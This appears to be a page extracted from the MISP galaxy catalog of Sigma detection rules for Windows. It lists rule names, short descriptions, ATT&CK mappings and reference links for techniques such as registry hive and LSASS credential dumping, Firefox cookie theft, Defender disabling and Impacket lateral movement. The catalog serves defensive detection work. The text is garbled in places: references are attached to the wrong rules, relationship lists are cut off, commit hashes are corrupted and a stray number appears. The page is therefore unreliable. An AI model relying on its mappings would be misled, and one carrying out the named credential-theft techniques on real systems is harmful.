• related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 9686. Table References

Links

https://isc.sans.edu/diary/More+Data+Exfiltration/25698
https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt
https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry Enumeration_for_credentials_cli.yml

Application Terminated Via Wmic.EXE

Detects calls to the "terminate" function via wmic in order to kill an application

The tag is: misp-galaxy:sigma-rules="Application Terminated Via Wmic.EXE"

View relationships graph

Application Terminated Via Wmic.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 9687. Table References

Links

https://cyble.com/blog/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win _wmic_terminate_application.yml

Suspicious Diantz Alternate Data Stream Execution

Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.

The tag is: misp-galaxy:sigma-rules="Suspicious Diantz Alternate Data Stream Execution"

View relationships graph

Suspicious Diantz Alternate Data Stream Execution has relationships with:
Rundll32 JS RunHTMLApplication Pattern

Detects suspicious command line patterns used when rundll32 is used to run JavaScript code.

The tag is: `misp-galaxy:sigma-rules="Rundll32 JS RunHTMLApplication Pattern"

Use NTFS Short Name in Image

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection.

The tag is: `misp-galaxy:sigma-rules="Use NTFS Short Name in Image"

Table References

Links

- https://lolbas-project.github.io/lolbas/Binaries/Diantz/
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml

Use NTFS Short Name in Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
HackTool - GMER Rootkit Detector and Remover Execution

Detects the execution GMER tool based on image and hash fields.

The tag is: `misp-galaxy:sigma-rules="HackTool - GMER Rootkit Detector and Remover Execution"`

Table 9691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.gmer.net/">http://www.gmer.net/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_gmer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_gmer.yml</a></td>
</tr>
</tbody>
</table>

Terminal Service Process Spawn

Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)

The tag is: `misp-galaxy:sigma-rules="Terminal Service Process Spawn"`

View relationships graph

Terminal Service Process Spawn has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"` with estimative-language:likelihood-probability="almost-certain"

Table 9692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_termserv_proc_spawn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_termserv_proc_spawn.yml</a></td>
</tr>
</tbody>
</table>

Abused Debug Privilege by Arbitrary Parent Processes

Detection of unusual child processes by different system processes

The tag is: `misp-galaxy:sigma-rules="Abused Debug Privilege by Arbitrary Parent Processes"`

View relationships graph

Abused Debug Privilege by Arbitrary Parent Processes has relationships with:
Direct Autorun Keys Modification

Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.

The tag is: `misp-galaxy:sigma-rules="Direct Autorun Keys Modification"`

View relationships graph

Direct Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Raccine Uninstall

Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.

The tag is: `misp-galaxy:sigma-rules="Raccine Uninstall"`

View relationships graph

Raccine Uninstall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
SQLite Firefox Profile Data DB Access

Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.

The tag is: misp-galaxy:sigma-rules="SQLite Firefox Profile Data DB Access"

View relationships graph

SQLite Firefox Profile Data DB Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 9696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6c3d2742bf365f3e2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6c3d2742bf365f3e2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_gecko_profile_data.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_gecko_profile_data.yml</a></td>
</tr>
</tbody>
</table>

Dumping of Sensitive Hives Via Reg.EXE

Detects the usage of "reg.exe" in order to dump sensitive registry hives, which includes SAM, SYSTEM and SECURITY

The tag is: misp-galaxy:sigma-rules="Dumping of Sensitive Hives Via Reg.EXE"

View relationships graph

Dumping of Sensitive Hives Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
Remote Access Tool - AnyDesk Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Execution"

Table 9697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation">https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1003/T1003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1003/T1003.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html">https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - AnyDesk Execution has relationships with:


Table 9698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious SYSTEM User Process Creation**

Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)

The tag is: `misp-galaxy:sigma-rules="Suspicious SYSTEM User Process Creation"`

View relationships graph

Suspicious SYSTEM User Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 9699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://tools.thehacker.recipes/mimikatz/modules">https://tools.thehacker.recipes/mimikatz/modules</a></td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml</a></td>
</tr>
</tbody>
</table>

**File Encryption/Decryption Via Gpg4win From Suspicious Locations**

Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.

The tag is: `misp-galaxy:sigma-rules="File Encryption/Decryption Via Gpg4win From Suspicious Locations"`

Table 9700. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_susp_location.yml</a></td>
</tr>
</tbody>
</table>
Execute From Alternate Data Streams

Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection.

The tag is: `misp-galaxy:sigma-rules="Execute From Alternate Data Streams"`

View relationships graph

Execute From Alternate Data Streams has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

Table 9701. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3d742bfcf365fwe2a9/atomics/T1564.004/T1564.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3d742bfcf365fwe2a9/atomics/T1564.004/T1564.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml</a></td>
</tr>
</tbody>
</table>

Format.com FileSystem LOLBIN

Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs.

The tag is: `misp-galaxy:sigma-rules="Format.com FileSystem LOLBIN"`

Table 9702. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/wdormann/status/1478011052130459653?s=20">https://twitter.com/wdormann/status/1478011052130459653?s=20</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1477925112561209344">https://twitter.com/0gtweet/status/1477925112561209344</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_format.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_format.yml</a></td>
</tr>
</tbody>
</table>

Recon Command Output Piped To Findstr.EXE

Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this to extract specific information they require in their chain.

The tag is: `misp-galaxy:sigma-rules="Recon Command Output Piped To Findstr.EXE"`

View relationships graph

Recon Command Output Piped To Findstr.EXE has relationships with:
Potential Credential Dumping Via LSASS Process Clone

Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity

The tag is: `misp-galaxy:sigma-rules="Potential Credential Dumping Via LSASS Process Clone"`

View relationships graph

Potential Credential Dumping Via LSASS Process Clone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Suspicious Provlaunch.EXE Child Process

Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

The tag is: `misp-galaxy:sigma-rules="Suspicious Provlaunch.EXE Child Process"`
View relationships graph

Suspicious Provlaunch.EXE Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1674399582162153472">https://twitter.com/0gtweet/status/1674399582162153472</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/">https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Potential Impacket Lateral Movement Activity

Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework

The tag is: misp-galaxy:sigma-rules="HackTool - Potential Impacket Lateral Movement Activity"

View relationships graph

HackTool - Potential Impacket Lateral Movement Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 9706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py">https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py">https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py">https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py">https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml</a></td>
</tr>
</tbody>
</table>
Winrar Compressing Dump Files

Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

The tag is: misp-galaxy:sigma-rules="Winrar Compressing Dump Files"

View relationships graph

Winrar Compressing Dump Files has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 9707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_exfil_dmp_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_exfil_dmp_files.yml</a></td>
</tr>
</tbody>
</table>

Registry Modification Via Regini.EXE

Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.

The tag is: misp-galaxy:sigma-rules="Registry Modification Via Regini.EXE"

View relationships graph

Registry Modification Via Regini.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 9708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regnin">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regnin</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regini/">https://lolbas-project.github.io/lolbas/Binaries/Regini/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f">https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml</a></td>
</tr>
</tbody>
</table>
Suspicious CMD Shell Output Redirect

Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location

The tag is: `misp-galaxy:sigma-rules="Suspicious CMD Shell Output Redirect"`

View relationships graph

Suspicious CMD Shell Output Redirect has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/">https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml</a></td>
</tr>
</tbody>
</table>

Diskshadow Script Mode - Execution From Potential Suspicious Location

Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.

The tag is: `misp-galaxy:sigma-rules="Diskshadow Script Mode - Execution From Potential Suspicious Location"`

View relationships graph

Diskshadow Script Mode - Execution From Potential Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/">https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/</a></td>
</tr>
<tr>
<td><a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4">https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4</a></td>
</tr>
</tbody>
</table>
File Download Via Bitsadmin To An Uncommon Target Folder

Detects usage of bitsadmin downloading a file to uncommon target folder

The tag is: misp-galaxy:sigma-rules="File Download Via Bitsadmin To An Uncommon Target Folder"

View relationships graph

File Download Via Bitsadmin To An Uncommon Target Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 9711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/">https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/</a></td>
</tr>
<tr>
<td><a href="https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin">https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22264">https://isc.sans.edu/diary/22264</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Network Command

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

The tag is: misp-galaxy:sigma-rules="Suspicious Network Command"

View relationships graph

Suspicious Network Command has relationships with:

PUA - Potential PE Metadata Tamper Using Rcedit

Detected the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.

The tag is: `misp-galaxy:sigma-rules="PUA - Potential PE Metadata Tamper Using Rcedit"`

PUA - Potential PE Metadata Tamper Using Rcedit has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

Powershell Defender Disable Scan Feature

Detected requests to disable Microsoft Defender features using PowerShell commands

The tag is: `misp-galaxy:sigma-rules="Powershell Defender Disable Scan Feature"`
Powershell Defender Disable Scan Feature has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9714. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links:</td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE">https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-%2520Disable%2522/files">https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-%2520Disable%2522/files</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_defender_disable_feature.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_defender_disable_feature.yml</a></td>
</tr>
</tbody>
</table>

Use of Scriptrunner.exe

The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting

The tag is: misp-galaxy:sigma-rules="Use of Scriptrunner.exe"

<table>
<thead>
<tr>
<th>Table 9715. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links:</td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/">https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)

Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.

The tag is: misp-galaxy:sigma-rules="Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)"
Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE

Detects usage of cmdkey to look for cached credentials on the system.

The tag is: misp-galaxy:sigma-rules="Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE"

Suspicious WMIC Execution Via Office Process

Office application called wmic to proxye execution through a LOLBIN process. This is often used to
break suspicious parent-child chain (Office app spawns LOLBin).

The tag is: `misp-galaxy:sigma-rules="Suspicious WMIC Execution Via Office Process"`

View relationships graph

Suspicious WMIC Execution Via Office Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"

Table 9718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmic_susp_execution_via_office_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmic_susp_execution_via_office_process.yml</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/">https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/</a></td>
</tr>
</tbody>
</table>

File Download Via Bitsadmin To A Suspicious Target Folder

Detests usage of bitsadmin downloading a file to a suspicious target folder

The tag is: `misp-galaxy:sigma-rules="File Download Via Bitsadmin To A Suspicious Target Folder"`

View relationships graph

File Download Via Bitsadmin To A Suspicious Target Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
MsiExec Web Install

Detects suspicious msiexec process starts with web addresses as parameter

The tag is: `misp-galaxy:sigma-rules="MsiExec Web Install"`

View relationships graph

MsiExec Web Install has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Invocation From Script Engines

Detects suspicious powershell invocations from interpreters or unusual programs

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Invocation From Script Engines"`

View relationships graph

Suspicious PowerShell Invocation From Script Engines has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

6197
Suspicious Invoke-WebRequest Execution With DirectIP

Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Invoke-WebRequest Execution With DirectIP"

View relationships graph

Suspicious Invoke-WebRequest Execution With DirectIP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9722. Table References

Links

https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_direct_ip.yml

Potential Persistence Via Netsh Helper DLL

Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.

The tag is: *misp-galaxy:sigma-rules=*"Potential Persistence Via Netsh Helper DLL"

View relationships graph

Potential Persistence Via Netsh Helper DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 9723. Table References

Links

